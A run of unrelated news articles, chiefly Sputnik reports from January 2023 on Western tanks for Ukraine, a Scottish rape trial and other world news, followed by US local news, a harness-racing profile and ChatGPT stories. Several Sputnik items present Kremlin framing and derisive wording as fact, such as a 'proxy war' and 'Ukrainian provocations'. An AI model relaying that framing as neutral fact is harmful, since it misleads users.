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https://sputnikglobe.com/20230124/scholz-decided-to-send-leopard-2a6-tanks-to-kiev-german-media-reports-1106663077.html

Scholz Decided to Send Leopard 2A6 Tanks to Kiev, German Media Reports

Scholz Decided to Send Leopard 2A6 Tanks to Kiev, German Media Reports

After months of debate, Chancellor Scholz decided to deliver battle tanks to Ukraine.

2023-01-24T17:41+0000

2023-01-24T17:41+0000

2023-01-28T13:53+0000

military

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The development came on the heels of US media reports that the Biden administration is considering delivering a "significant number" of Abrams M1 tanks to Ukraine.Earlier, German media suggested that Chancellor Olaf Scholz, in a conversation with US President Joe Biden on Tuesday, made it clear that Germany would supply Ukraine with Leopard 2 tanks, but on the condition that Washington also send its Abrams tanks.On January 18, US Under Secretary of Defense for Policy Colin Kahl said that the Abrams tank is a very complicated piece of equipment, which is "expensive, hard to train on" and has a jet engine, so it will be difficult for Ukraine to maintain.Addressing the WEF on the same day, Scholz highlighted that Germany was among the leading countries in terms of support for Ukraine and reaffirmed that his country would continue to provide assistance. At the same time, he rejected any unilateral steps on the issue, stressing that all decisions should be made in coordination with allies, especially the United States.Later, however, German government spokesman Steffen Hebestreit denied that Scholz ever demanded that the United States deliver Abrams tanks to Ukraine as a precondition to Germany's own sending of Leopard tanks."At no time was there such a demand that one thing had to happen so that the other could happen," Hebestreit commented on the report.The German government's spokesman said its decisions on Ukraine were driven by three key considerations, which are to provide as much support as Berlin can afford, to prevent NATO and Germany from becoming a party to the conflict, and for Germany not to act unilaterally.In April 2022, Moscow sent a note to NATO member states condemning their military assistance to Kiev after Russia started its military operation in Ukraine. Kremlin spokesman Dmitry Peskov noted that pumping Ukraine with weapons did not contribute to the success of peace negotiations and would have a detrimental effect on the conflict.

https://sputnikglobe.com/20230124/leopard-2-tanks-armored-beasts-berlin-is-about-to-send-into-ukraine-conflict-1106662864.html

https://sputnikglobe.com/20230123/what-is-the-leopard-2-tank-and-why-is-its-possible-delivery-to-kiev-so-explosively-contentious-1106621828.html

https://sputnikglobe.com/20230123/berlin-will-not-stand-in-the-way-if-poland-opts-to-send-tanks-to-ukraine-baerbock-says-1106600608.html

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https://sputnikglobe.com/20230124/scottish-trans-rape-suspect-is-as-vulnerable-as-two-women-accusers-defence-claims-1106641693.html

Scottish Trans Rape Suspect is 'As Vulnerable' as Two Women Accusers, Defence Claims

Scottish Trans Rape Suspect is 'As Vulnerable' as Two Women Accusers, Defence Claims

Accused transsexual Isla Bryson met the two alleged victims online in 2016 and 2019 while still going by the name of Adam Graham, but began transitioning in 2020. If convicted, the accused could be housed in a women's prison.

2023-01-24T13:28+0000

2023-01-24T13:28+0000

2023-01-24T19:00+0000

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The lawyer for a transsexual on trial for rape has claim his client is just as "vulnerable" as his two women accusers.Isla Bryson, born Adam Graham, is accused of raping two women, the first in Clydebank, West Dunbartonshire, in 2016 and the second in Drumchapel, Glasgow, in 2019. Bryson's barrister Edward Targowski KC said the three main witnesses in the trial were "vulnerable"  "and that includes Isla Bryson." He also claimed that if the jury accepts Bryson's claim to transsexual status, it must acquit the defendant.Bryson claimed to have identified as female since the age of four, but only decided to transition after he was charged with rape in 2020  telling the court that at the time of the first charge "[I was] struggling with my sexuality and having issues emotionally."Photos showed Bryson attending the High Court in Glasgow on Monday wearing tight women's leggings, clearly exposing the outline of 'her' penis to onlookers.Prosecuting Advocate depute John Keenan said Bryson "preyed" on women he met online through social media. He said there was "clear evidence" that neither of them consented to sex with Bryson.The second alleged victim "told the accused to stop, that she couldn't breathe, that she didn't want to. The accused did not stop."The defence attempted to counter the prosecution's assertion that Bryson "preyed on two vulnerable female partners." The court was adjourned until Tuesday for the jury to deliberate. If convicted, Bryson could be jailed in a women's prison under guidelines adopted by His majesty's Prison and Probation Service in 2019.Legislation passed by Scotland's devolved parliament in December last year would allow men to obtain legal status as a trans woman on the basis of their own self-identification, without a medical diagnosis of gender dysphoria.The majority Scottish National Party (SNP) and Scottish Greens coalition voted down an amendment proposed by the Scottish Conservatives to deny convicted sex offenders the official Gender Recognition Certificate.The UK-wide Conservative government has said it will use statutory powers to deny the Gender Recognition Reform (Scotland) Bill the royal assent it needs to be ratified as law. SNP leader and Scottish first minister Nicola Sturgeon has in turn vowed to challenge that decision in court.

https://sputnikglobe.com/20230117/scottish-first-minister-threatens-court-challenge-to-westminster-block-on-trans-self-id-law-1106420119.html

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https://sputnikglobe.com/20230124/somalia-condemns-sweden-for-allowing-quran-burning-1106636946.html

Somalia Condemns Sweden for Allowing Quran Burning

Somalia Condemns Sweden for Allowing Quran Burning

Somalia "strongly condemns" the Swedish authorities for allowing the Quran burning in Stockholm, Somalias foreign ministry said in a statement.

2023-01-24T07:30+0000

2023-01-24T07:30+0000

2023-01-24T07:30+0000

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Somalia "strongly condemns" the Swedish authorities for allowing the Quran burning in Stockholm, Somalias foreign ministry said in a statement.The ministry underlined "the importance of spreading the values of dialogue, tolerance and coexistence," calling on Sweden "to take strong measures" against rising Islamophobia.Rasmus Paludan's actions were met by a strong backlash, especially in the Muslim world. The foreign ministries of a number of Gulf states, such as Saudi Arabia, Kuwait and the United Arab Emirates, officially condemned the burning.Protesters gathered before the Swedish embassy in Ankara in a demonstration against Paludan's act, which the Turkish Foreign Ministry deemed a "vile attack". Turkey's President Recep Tayyip Erdogan said that after allowing the burning, Sweden would not receive support from Ankara on the issue of joining NATO.Erdogan stated earlier that if Sweden and Finland wanted Turkey to ratify their NATO bids, the Northern European countries had to extradite about 130 supporters and activists of the Kurdistan Workers' Party (PKK), which is considered a terrorist organization by Ankara.

https://sputnikglobe.com/20230124/key-ally-slams-swedish-government-for-indulgence-toward-islamist-forces-1106634108.html

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https://sputnikglobe.com/20230124/sunaks-office-says-uk-will-not-dictate-others-what-should-be-given-to-ukraine-1106658228.html

Sunak's Office Says UK Will Not Dictate Others What Should Be Given to Ukraine

Sunak's Office Says UK Will Not Dictate Others What Should Be Given to Ukraine

The United Kingdom will not dictate other countries what weapons they should deliver to Ukraine, but additional support is needed

2023-01-24T15:30+0000

2023-01-24T15:30+0000

2023-01-24T15:30+0000

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The statement was made against the backdrop of growing pressure on Germany over supplies of Leopard battle tanks. On Monday, Polish Defense Minister Mariusz Blaszczak said that Warsaw had requested Berlin to approve the sending of Leopard 2 tanks of Poland's army to Ukraine. He added that the UK would keep working with its allies to secure future arms supplies. On January 15, Sunak announced the UK will send 14 of its Challenger 2 tanks to Ukraine. However, despite extensive arms deliveries, the United States and Germany have not agreed to send their main battle tanks Abrams and Leopard to Kiev yet. Last week, German Defense Minister Boris Pistorius said NATO members had failed to negotiate a single position over the tanks issue at the meeting at the Ramstein Air Base. Western countries have been ramping up their military support for Kiev since the beginning of the Russian special military operation in Ukraine in February 2022. In April, Moscow sent a note to NATO member states condemning their military assistance to Kiev. Russian Foreign Minister Sergey Lavrov warned that any arms shipments on Ukrainian territory would be "legitimate targets" for Russian armed forces. Kremlin spokesman Dmitry Peskov, in turn, stated that arms provision was undermining prospects for a future peace process.

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https://sputnikglobe.com/20230124/uganda-to-drill-first-oil-well-in-kingfisher-field-1106652867.html

Uganda to Drill First Oil Well in Kingfisher Field

Uganda to Drill First Oil Well in Kingfisher Field

Uganda is about to commence drilling of its first oil well in the Kingfisher oil field in the western part of the country, the Petroleum Authority of Uganda (PAU) has stated on Tuesday.

2023-01-24T13:36+0000

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Uganda is due to commence drilling of the first oil well in the Kingfisher oil field in the western part of the country, the Petroleum Authority of Uganda (PAU) stated on Tuesday. During the ceremony, which is expected to be attended by senior officials including President Yoweri Museveni, the first of four planned oil drilling rigs will be launched, marking the start of drilling of the first well. Kingfisher is located near the southern flank of Lake Albert in the countrys west. The site is one of Uganda's two commercial oil development areas. It is operated by the Chinese state-owned oil and gas company China National Offshore Oil Corporation (CNOOC). The second field, Tilenga, is located north of Lake Albert and is operated by France's TotalEnergies. These two firms and the state-run Uganda National Oil Company (UNOC) co-own all of the country's existing oilfields. According to the Ministry of Energy and Mineral Development, the rig which is about to start operating will drill a total of 31 wells with the deepest at 7.4km in the Kingfisher oil field, while three other rigs are expected to be deployed later in Tilenga. In general, they will drill 426 production wells. The PAU stated that the launch of drilling is a key milestone as the country hopes that Tilenga and Kingfisher will deliver their first commercial output by 2025.Uganda has approximately 6.5 billion barrels of oil reserves, of which 1.4 billion barrels are estimated to be economically recoverable. The Kingfisher oil field was discovered in 2006. It is expected to be one of the first major ongoing oil projects to be developed in the country.One of the reasons that the start of oil production in the East African region has been so delayed is the lack of infrastructure, in particular, an oil pipeline. Uganda and Tanzania are now completing preparations for the construction of a massive 1,440 km oil pipeline called the East African Crude Oil Pipeline Project (EACOP). The pipeline will transport oil produced from Ugandas Lake Albert oilfields to Tanzanias Tanga Indian Ocean port where the oil will be sold to world markets. However, European Union officials have condemned the project, citing environmental, climate, and "human rights" concerns. In September, the body adopted a resolution urging TotalEnergies, which is the largest stakeholder in the project, to delay development of the pipeline for one year to explore the feasibility of an alternative route or renewable energy projects. Speaking at the opening of the Uganda International Gas and Oil Summit in Kampala, President Yoweri Museveni criticized the resolution, slamming EU politicians and environmental groups seeking to meddle in Uganda and Tanzanias affairs as "insufferable," "shallow," and "egocentric." He highlighted that the oil belongs to the East African nations and "the West should calm down because this is the wrong battleground for them."

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https://sputnikglobe.com/20230124/ukrainian-conflict-to-cost-german-economy-190bln-45-of-gdp-in-2023-study-says-1106633288.html

Ukrainian Conflict to Cost German Economy $190Bln, 4.5% of GDP in 2023, Study Says

Ukrainian Conflict to Cost German Economy $190Bln, 4.5% of GDP in 2023, Study Says

The German economy will lose an estimated 175bln euros (4.5% of the GDP) in 2023 due to the Ukrainian conflict, according to a Monday study by the German Economic Institute.

2023-01-24T04:34+0000

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"New calculations of IW quantify the losses that can be expected as early as in 2023. According to those, the cost of the war in Ukraine and all related economic threats will amount to some 175 billion euros. Adjusted for price changes, it accounts for around 4.5% of the GDP," the statement read.According to the study, German economic losses from the Ukrainian conflict and the COVID-19 pandemic would amount to a total of 595 billion euros, compared to a situation with no conflict in Ukraine and no resulting hikes in energy prices. Among the main factors, the study listed:Russia launched its special military operation in Ukraine on February 24, after the Donetsk and Lugansk peoples republics appealed for help in defending themselves against Ukrainian provocations. In response to Russias operation, Western countries have rolled out a comprehensive sanctions campaign against Moscow and have been supplying weapons to Ukraine.

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https://sputnikglobe.com/20230124/us-media-gives-thoughts-on-where-abrams-tanks-should-be-delivered-instead-of-ukraine--1106634666.html

US Media Gives Thoughts on Where Abrams Tanks Should Be Delivered Instead of Ukraine

US Media Gives Thoughts on Where Abrams Tanks Should Be Delivered Instead of Ukraine

Last week, US Undersecretary of Defense for Policy Colin Kahl made it clear that Washington is not currently ready to deliver its Abrams tanks to Ukraine, citing possible problems in maintenance and training

2023-01-24T06:09+0000

2023-01-24T06:09+0000

2023-01-24T06:09+0000

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A US newspaper has reported that Washington should consider sending the US M1 Abrams main battle tanks to Taiwan rather than Ukraine because the move would comply with the White Houses geopolitical factors.Any tanks we can spare should go to Taipei, the news outlet insisted as it claimed that Taiwan is under the constant threat of a Chinese invasion and needs advanced weapons to deter Beijing.The US ended formal relations with Taiwan in 1979, as stipulated in the second communique and the US Congress-ratified Taiwan Relations Act that came into effect that year.Since then, the US has maintained a strategic ambiguity policy of neither encouraging Taiwanese independence nor the island's reconciliation with Beijing. Under the Taiwan Relations Act, the US continues to provide the island with arms to help Taipei to defend itself in the event of any military event. This is vehemently opposed by Beijing, which sees Taiwan as an essential part of China, rejecting, however, a military scenario when it comes to the islands reunification with the mainland.The situation around Taiwan escalated after then-US House Speaker Nancy Pelosi and other high-ranking US officials, visited the island in early August 2022. China condemned the trip, dubbing it a gesture of support for separatism, and launched large-scale military exercises in the vicinity of the island in a retaliatory move.The US newspapers report comes after US Undersecretary of Defense for Policy Colin Kahl told reporters last Wednesday that he just doesnt think we're there yet, when asked about whether Washington will provide Kiev with Abrams tanks.In a separate development last week, the newly-appointed German Defense Minister, Boris Pistorius, said that no decision has been made yet regarding the supply of the countrys main Leopard 2 battle tanks to Ukraine.A German newspaper reported, citing sources, that Germanys Chancellor Olaf Scholz, in a conversation with US President Joe Biden last Tuesday, made it clear that his country would supply Ukraine with Leopard 2 tanks, but on the condition that Washington also sends its Abrams tanks to Kiev.Western countries have been ramping up their military support for Kiev since the beginning of the Russian special military operation in Ukraine on February 24, 2022. In April, Moscow sent a note to NATO member states condemning their military assistance to Kiev. Russian Foreign Minister Sergey Lavrov warned that any arms shipments on Ukrainian territory would be "legitimate targets" for Russian armed forces.

https://sputnikglobe.com/20230118/what-tanks-did-western-countries-deliver-to-ukraine-1106453662.html

https://sputnikglobe.com/20230123/kremlin-on-nato-talks-of-supply-of-tanks-to-ukraine-anxiety-among-alliance-members-grows-1106613850.html

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us main battle tanks m1 abrams, us media's speculation on supplies of us main battle tanks m1 abrams to ukraine, us geopolitical interests in asia, us-taiwan relations, russian special military operation in ukraine
https://sputnikglobe.com/20230124/what-is-the-m1-abrams-main-battle-tank-biden-wants-to-send-to-ukraine-1106666570.html

What is the M1 Abrams Main Battle Tank Biden Wants to Send to Ukraine?

What is the M1 Abrams Main Battle Tank Biden Wants to Send to Ukraine?

The NATO allies waging a proxy war against Russia in Ukraine have rushed in recent weeks to send their most potent weapons yet to the battlefields in the Donbass: armored fighting vehicles and main battle tanks.

2023-01-24T20:49+0000

2023-01-24T20:49+0000

2023-01-25T15:39+0000

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After reports appeared in US media on Tuesday that the White House was preparing to send dozens of M1 Abrams main battle tanks (MBTs) to Kiev, the Pentagon said it was aware of the reports but had nothing to announce. US Army leaders have warned Ukrainians forces are ill-equipped to operate and maintain the advanced armored vehicles, making such a venture both costly and unproductive.However, it seems more likely than ever that Germany will allow Poland to send its Leopard 2 MBTs to Ukraine, and its unclear how that development will influence Washingtons thinking.Meeting the 'Heavy Threat' of Soviet ArmorThe M1 Abrams came out of attempts to develop a new kind of main battle tank that could stand toe-to-toe with the best Soviet armor, including the heavy threat posed by large and powerful high-explosive anti-tank (HEAT) rounds and armor-piercing sabot ammunition they could fire. The Vietnam War-era M60 Patton tanks could not take the heat - pardon the pun - so the US Army looked to develop the new MBT-70 in conjunction with the West German government.What came out of the design effort and entered service with the US Army in 1980 was one of the heaviest tanks ever built at 62 metric tons, but also one of the fastest. The MBT-70s 1,500-horsepower gas turbine engine was put into the Abrams, giving it a road speed of 45 miles per hour and a cross-country top speed of 30 miles per hour. The newer versions are even heavier, at 74 tons, and a few miles per hour slower as a result.What Kind of Armaments Does the Abrams Have?This tanks main gun was originally a 105-millimeter gun, but when the upgraded M1A1 debuted in 1986, it was upgraded to the same 120-millimeter smoothbore cannon used on West Germanys Leopard 2 MBT. The Abrams also carries a 50-caliber machine gun and two M240 7.62-millimeter machine guns mounted on the turret.It is protected by Chobham-type composite armor that incorporates reactive armor and other new technologies. Later battlefield enhancements included the Tank Urban Survival Kit (TUSK), which gave it further reactive armor, slat armor, bulletproof glass in front of the machine guns, a remote-controlled machine gun, and an exterior infantry phone for troops to communicate with the tank driver.How Has It Performed in Combat?The Abrams has been sold to Egypt, Kuwait, Saudi Arabia, Australia, Poland, and Iraq, in addition to the US, but only the United States, Saudi Arabia, and Iraq have used the tank in combat.The Abrams debut was during Operation Desert Storm, the US war with Iraq in 1990 and 1991 that aimed to drive the Iraqi army out of Kuwait and cripple it. The tank performed admirably well against Iraqs older Soviet-made T-55, T-62 and T-72 tanks and Chinese-made Type 69 tanks, including at the devastating Battle of 73 Easting, where its combination of night-vision targeting and extremely long combat range - in excess of 8,200 feet - made the difference. However, its likely the Americans superior training also played a role.The Saudi military has also used the Abrams during its invasion of Yemen that began in 2015. While the monarchy has made little comment about its effectiveness, the US sold Riyadh 153 more tanks just 1 year into the conflict, including 20 marked as "battle damage replacements, suggesting Houthi resistance had succeeded in destroying several of them.How Much Does an Abrams Cost?According to US media, each tank costs between $6 million and $9 million. However, nations buying them, such as Poland earlier this month, also have to pay for complex maintenance support as well, meaning Warsaw paid about $19 million per tank.How Many Abrams Tanks Does the US Have?More than 10,000 Abrams tanks have been built overall, but according to Pentagon documents, the US Army has about 4,400 of them. The US Marine Corps formerly operated about 400 Abrams tanks as well, as a consequence of its shift toward land-based combat in the late 1980s, but have given them up as part of a move back toward an amphibious focus.

https://sputnikglobe.com/20230124/us-media-gives-thoughts-on-where-abrams-tanks-should-be-delivered-instead-of-ukraine--1106634666.html

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Three Savannah-Chatham County Public School students from two high schools have been nominated to represent the District as United States Presidential Scholars.







Aiden Maxwell of Jenkins High School is a nominee, along with Margaret Wade





and Kenzie Kurdys  both of Savannah Arts Academy.







The U.S. Presidential Scholars Program was established in 1964, by executive order of the President, to recognize and honor some of our nation's most distinguished graduating high school seniors. In 1979, the program was extended to recognize students who demonstrate exceptional talent in the visual, creative and performing arts. In 2015, the program was again extended to recognize students who demonstrate ability and accomplishment in career and technical education fields.

Each year, up to 161 students are named as Presidential Scholars, one of the nation's highest honors for high school students. There are five candidates from Savannah this year. The other two are students at area private schools. After submission of required materials, the students will be notified if they have been selected as semi-finalists by mid-April.




A decade after millionaire trotter Intimidate brought him to national prominence and the training job for big-budget Determination Stable, Luc Blais has become a fixture at the O'Brien Awards honouring the best in Canadian harness racing.

Blais, recipient of the 2021 O'Brien Award of Horsemanship, has seen several stable stars nominated for O'Briens over the years, including Hambletonian winner Forbidden Trade and double-millionaire trotting mare Emoticon Hanover.

For 2022, Determination has two finalists  Forbidden Trade in the older male trotter category and Silly Me Hanover for two-year-old trotting filly.

It's the last nomination for Forbidden Trade, who has won three O'Briens already, including Canadian Horse of the Year in 2019, the year he captured the Hambletonian. The seven-year-old son of Kadabra is standing at stud this year at Deerpath Breeding & Development in Ontario.

He had four wins last year to boost his career earnings to $2.3 million, but none of the victories were in stakes races. His best effort might have been the $610,000 Maple Leaf Trot at Woodbine Mohawk Park, where he escaped from traffic late to finish a game third to Back Of The Neck and Ecurie D, just ahead of the other O'Brien nominee, Fashion Frenzie.

"He's healthy, but last year was harder for him," said Blais. "We thought it best to stop him and focus on his stud career. He's been so good for us. It's hard to replace horses like that. The races he won, the thrills he gave me...He had the perfect attitude. You could do what you want with him in a race. Horses like that bring you to their level; it's not the other way around."

Determination has two mares in foal to Forbidden Trade and also is awaiting a second foal from Emoticon Hanover, who was bred to Walner last year after producing a Muscle Hill filly in 2022.

In the meantime, Blais has a fleet of two dozen two-year-olds to prepare for the 2023 season.

"It's about twice as many as usual, but Mr. Godin [Serge, owner of Determination] wanted us to renew our stock," said Blais, who is training about 40 horses in all.

With Forbidden Trade gone from the roster, Blais will be counting on trotters like Silly Me Hanover and Tuscan Prince to step up. The stable made $1.5 million last year, almost all of it in Canada. Blais described the year as "good," though it has topped $2 million in the past.

Silly Me Hanover, a $250,000 Walner yearling, won two of eight starts as a two-year-old, but her big moment was in the Mohawk Million, where she finished second to Oh Well at 42-1.

"She started the year well [capturing two eliminations of the Pure Ivory Series], got sick and then finished well," said Blais. "If she can improve a bit at three, I think she'll be competitive on the Grand Circuit. She showed she's capable of it last year."

Tuscan Prince was a pleasant surprise last year, topping $100,000 in earnings, though the son of Kadabra made a break in the $225,000 Ontario Sires Stakes Super Final for two-year-trotting colts.

"He started the year in Grassroots [stakes] and became a good Gold horse. He kept improving," said Blais.

Blais and the grooms of his nominated horses will be in attendance for the O'Brien ceremonies on Feb. 4.

"It's nice to see the efforts and achievements recognized," he said. "The nomination gives you a boost. It motivates you for the coming year."

(A Trot Insider Exclusive by Paul Delean)
A bill prohibiting state agencies from contracting with some Chinese-affiliated companies passed a House of Delegates committee on a party-line vote on Monday, even though the panel never discussed the principal goal of the legislation.

Instead, the House Committee on Communications, Technology and Innovation talked solely about provisions of House Bill 2385 that would codify an executive order that Gov. Glenn Youngkin signed last month to prohibit TikTok, WeChat and other social media applications affiliated with the government of the Peoples Republic of China from being downloaded on state-owned telecommunications devices or networks.

We have seen in the past that the Chinese government has used devices or applications, such as TikTok and WeChat, to infiltrate national security interests across the country and in other countries as well, said Del. Emily Brewer, R-Suffolk, the bills sponsor and the committees chair. It is imperative that we protect the security of the commonwealth.

Brewer  in her introduction of the legislation after Vice Chair James Edmunds, R-Halifax, took over control of the meeting  did not mention the provisions of the bill that would prohibit state contracts with companies scrutinized by the Committee for Foreign Investment in the United States for potential national security concerns. Those provisions remained in a substitute version of the bill that the committee passed on an 11-10 vote along political party lines, but they were not discussed.

China has become a dominant political target for Virginia Republicans, led by Youngkin, who banned the social media applications in state government days before he abruptly withdrew the state from competing for a $3.5 billion electric vehicle battery factory proposed by Ford Motor Co. in partnership with a Chinese company that owns the patented technology for the lithium ion batteries.

Ford was considering a megasite in Pittsylvania County  the largest such site in Virginia  for the project, but the company said last week that it had not yet made a final decision when the governor pulled Virginia out of the running.

In his speech to legislators on the first day of the General Assembly session, Youngkin defended his decision to ban TikTok and WeChat on state communications devices and networks, and warned of the ever-growing threat that the Chinese Communist Party poses to our national security, our privacy and our way of life in Virginia.

Ive said before that I want Made in America to mean Made in Virginia, he said. But let me be clear, Made in Virginia cannot be a front for the Chinese Communist Party.

Del. Marcus Simon, D-Fairfax, suggested that Youngkins motive in banning Chinese social media apps from state devices and networks was less about state policy than his response to similar moves by Florida Gov. Ron DeSantis, a potential rival for the Republican presidential nomination in 2024.

This is not a good subject for legislating. This is not something that ought to go into the code, Simon said. I understand the desire to score some political points and join the big red menace that comes from China as a political movement.

Youngkins executive ban on TikTok and other Chinese-owned applications drew support from a prominent Virginia DemocratU.S. Sen. Mark Warner, chairman of the U.S. Senate Select Committee on Intelligence.

TikTok has the stamp of approval of the Chinese Communist Party and it poses a serious national security threat due to its data collection practices and its ability to reach and manipulate Americans, said Warner, a former Virginia governor.

Simon and other Democrats questioned whether it was necessary or wise to put the executive ban into state code, as Brewer proposed; name specific countries; or limit the prohibition to China instead of including foreign adversaries such as Russia, Iran and Cuba.

But no one discussed the bills provisions to prohibit a scrutinized company from receiving state government contracts or even bidding on them. The bill would allow civil penalties of $250,000 or twice the value of the contract for any company that submits false information in certifying that it is not a company scrutinized by the federal committee.

Brewer said later in an interview that she had intended to return to the provisions, but the committee and debate went in a different direction.

The flow kind of went off the road, she said.
Schools across the nation  including in Kelso and Longview  have banned the popular artificial intelligence app ChatGPT that can help students cheat by writing essays.

Michele M. Nerland, public information officer for the Kelso School District, told The Daily News the districts teaching and learning team is well aware of the application and that the website has been blocked on school computers.

The school district is also using an application to detect AI-generated content to find potential cheaters, she added.

Longview School District spokesperson Rick Parrish said the district has deployed software since the beginning of the current school year that detects AI-created content.

ChatGPT is an AI software created by San Francisco-based company Open AI. The software debuted in November 2022, and users can ask the program questions and complete specific tasks like composing an email, writing code and even writing term papers.

School districts and universities have been sounding the alarm about ChatGPT for some time.

The Seattle Public Schools and the New York City Department of Education banned teachers and students from using the website on all school devices.

Darren Hudson Hick  a professor at South Carolinas Furman University and author of a book on copyright  writes on Facebook that he turned in a student for using ChatGPT in December.

The student allegedly used the software to write a 500-word term paper on the work of philosopher David Hume.

Hick advocated for university administrators to develop standards for dealing with these kinds of cases and to do so quickly.

In my case, the student admitted to using ChatGPT, he writes about his findings, but if she hadnt, I cant say whether all of this would have been enough evidence.

On Monday, Microsoft announced the software giant would be placing a multiyear, multibillion dollar investment into Open AI, following previous investments in 2019 and 2021.
State Rep. Jim Walsh, R-Aberdeen, said last week he would release records related to the drafting of gubernatorial impeachment documents after questions were raised about the use of legislative privilege.

The draft documents were never finalized or filed.

According to Walsh, while he believed an argument could be made for the use of legislative privilege, he believed it was best to release impeachment-related documents.

Some members of the Legislature have recently claimed legislative privilege and refused to release certain documents, even after losing a lawsuit on the matter to news outlets.

The debate about the existence and use of legislative privilege is a useful one. I hope it leads to more and greater transparency in Washington state government. Modern technology should allow members of the legislative branch to protect their constituents privacy rights and sensitive information by the smart, targeted use of redaction without having to fall back on legislative privilege, Walsh said.

Walsh argued legislative privilege could be considered necessary in the situation of impeachment in order to protect the Legislatures power relative to the governor, but went on to say it would be better if both the legislative and executive branches moved away from the use of privilege.

Of course, the project to draft articles of impeachment against the governor is an unusual example of how legislative privilege is used, he stated. In that situation, the claim wasnt intended to hide documents from the public; it was intended to protect important strategy and details from the executive branch. Its already difficult to maintain proper, constitutional checks and balances in Olympia. Allowing the executive branch to see the Legislatures preliminary work on an impeachment effort would give an inequitable advantage to the executive branch. In this context, a reasonable person might conclude that  to maintain equity and balance  the legislative branch needs a version of executive privilege that the executive branch maintains. That would be fair. But it would also be fair to hold that neither branch should be able to claim privilege. All things considered, thats the direction we in Olympia should move.

Walshs fellow 19th Legislative District seatmate, state Sen. Jeff Wilson, provided a statement to The Chronicle on Walshs announcement. In his statement, Wilson emphasized the importance of following the law and court guidance while pointing to current litigation related to legislative privilege.

Its best to let our judicial system do its job, and refrain from further comment until this matter is resolved, Wilson said.
Sony Malaysia today announced the Sony Float Run, a new model of headphones designed with runners and athletes in mind. Featuring a novel headphone style that positions the speaker near but without touching the ear canal, read on below to know more about the product.

In a press release, Sony said that the Float Run focuses on the runners form for a comfortable and stable experience without compromising on sound quality. The special off-ear design is claimed to provide extended comfort without having to worry about pressure or stuffiness on the ears.

It is also lightweight at 33 grams and has a flexible neckband that ensures it stays on even when users wear accessories such as hats or sunglasses. In terms of sound, the Float Run has a 16mm driver and precise tuning that Sony claims provide a more natural and wider sound.

Besides that, the headphones also sport an IPX4 water-resistant, battery life of up to 10 hours, USB-C charging with 10 minutes charge giving an hour of music playback and a built-in microphone. In Malaysia, the Float Run will be available starting May 2023 with it being listed at RM599 on Sony Malaysias official website.

So, what do you guys think of the Float Run? Share your thoughts with us in the comments below and make sure to stay tuned to TechNave for the latest tech releases and news such as this!
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ChatGPT, an AI-driven chatbot from OpenAI, has garnered equal parts praise and criticism for what it can produce, but Northeastern professor Laura Huang says what really matters is how and what humans feed into it. Credit: Matthew Modoono/Northeastern University

At the tail end of 2022, OpenAI released ChatGPT, a chatbot powered by the company's AI algorithm, that lit more than just the internet on fire.

It's a well-worn idea: Type in a prompt, get a response. While ChatGPT had been around for a while, its latest version was advanced enough to be useful in a wide range of applications, from generating code to writing essays, poems and jokes. It was quickly hailed as a "tipping point for AI," and Microsoft recently invested billions in OpenAI.

It is also a tool with significant limitations. Some people praised it for how it could completely change the way we work; others feared it could spell the end of jobs in creative fields and certain kinds of education. Like with AI in general, the story is complicated.

Regardless of where people come down on ChatGPT, most people have been obsessing over what it can produce. But Laura Huang, a distinguished professor of management and organizational development at Northeastern, says the future of tools like ChatGPT rests on the other side of the process.

"Most people are focused on the output of this," Huang says. "Very few people are focused on the input. You don't magically just get something."

Tinker enough with ChatGPT and it's clear the tool is far from perfect. It can create surprisingly creative pieces of writingand flat out incorrect responses. The power lies not in the tool itself, Huang says, but in how people are able to interact with it. ChatGPT is only as creative as the prompt it getslike the user who asked it to write a "biblical verse in the style of the King James Bible explaining how to remove a peanut butter sandwich from a VCR."

Huang, who recently joined the Northeastern faculty after five years as an associate professor in the Harvard Business School, compares ChatGPT to a more advanced form of Google and other search engines. But ChatGPT goes a few steps further than traditional search engines. While Google or Wikipedia provide raw information, Chat GPT can provide direct comparisons between different sets of data. It can, for example, summarize how the styles and upbringings of Notorious B.I.G. and Tupac are different.

Huang postulates that the next evolution of the technology is to personalize those results based on the user's interactions, personality and background. But in order to get to that point requires what she calls "the jobs of the future," a new kind of professional that knows how to communicate with AI in order to get the most valuable information. In other words, an AI whisperer.

"There are going to be huge, huge opportunities for people who know how to write prompts, writing specific prompts, writing them in a certain way, knowing how to massage and analyze what comes out of things like ChatGPT or the next generation of ChatGPT," Huang says.

"If you don't ask the right questions, you're not going to get useful answers in life," Huang adds. "You can't solve the problem unless you actually know how to articulate the problem, and the same applies here. You can't actually get things that are useful unless you understand what's not useful and how to manipulate what's actually going in and what's coming out."

As tools like ChatGPT become more pervasive, there will be a need for specially trained workers who understand how to manipulate the technology and sidestep the biases built into it. Huang says it's a new form of communication. Like with email and social media, people became literate in these new tools and developed a kind of etiquette.

The only difference here is that AI whisperers will need to negotiate conversations that have a third, invisible participant.

"It's no longer just about communicating from one person to another or even interpersonally, from A to B and B to A," Huang says. "Now it's about being able to communicate in this invisible triatic way where we've got the A, the B, back to the A and we've got all of these invisible Cs everywhere that we need to also be taking into account and communicating in a way that accounts for those thoughts and behaviors."
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Schematic of workflow for sourcing, encoding, and adjudicating results. Abbreviations: QC = quality control; MCSA-NJ = multiple choice single answer without forced justification; MCSA-J = multiple choice single answer with forced justification; OE = open-ended question format. Credit: medRxiv (2022). DOI: 10.1101/2022.12.19.22283643

The academic community is growing increasingly concerned about students using ChatGPT for less than honest purposes as it has been found to be capable of not only writing essays for high school students, but passing some exams, such as parts of those used to license doctors and grant MBAs.

In two new papers posted on preprint servers, one team and another researcher independently tested the ability of ChatGPT to take and pass exams. In the first a team with members from AnsibleHealth, Inc., Brown University and OpenAI, Inc. describe testing they did to see how well ChatGPT could do on the United States Medical Licensing Examination (USMLE) and posted their results on the medRXiv preprint server.

In the second, Christian Terwiesch, the Andrew M. Heller Professor at Wharton School of the University of Pennsylvania, has posted a paper on Wharton's preprint site, describing how he tested the chatbot's ability to perform on the final exam of a typical Operations Management MBA core course and what he found.

In the first paper, the researchers tested the chatbot on all three parts of the USMLE, which medical school graduates must pass to become doctors. They found it performed well enough to pass or nearly pass all of the required thresholds for licensure. They also noted that it was capable of creating written passages that were highly consistent and showed the type of insight a person would need to become a successful doctor. More specifically, ChatGPT scored over 50% on most of the tests, which the researchers suggest is comfortably within passing range.

In the second paper, Terwiesch used OpenAI's GPT-3 (the base model for ChatGPT) to take the final exam for an Operations Management course. He then graded it as he would any regular student. He found that he would have given the paper a B, or at worst a B-, more than enough to pass. He further notes that in addition to giving correct answers, the chatbot was able to provide good explanations for its answers.

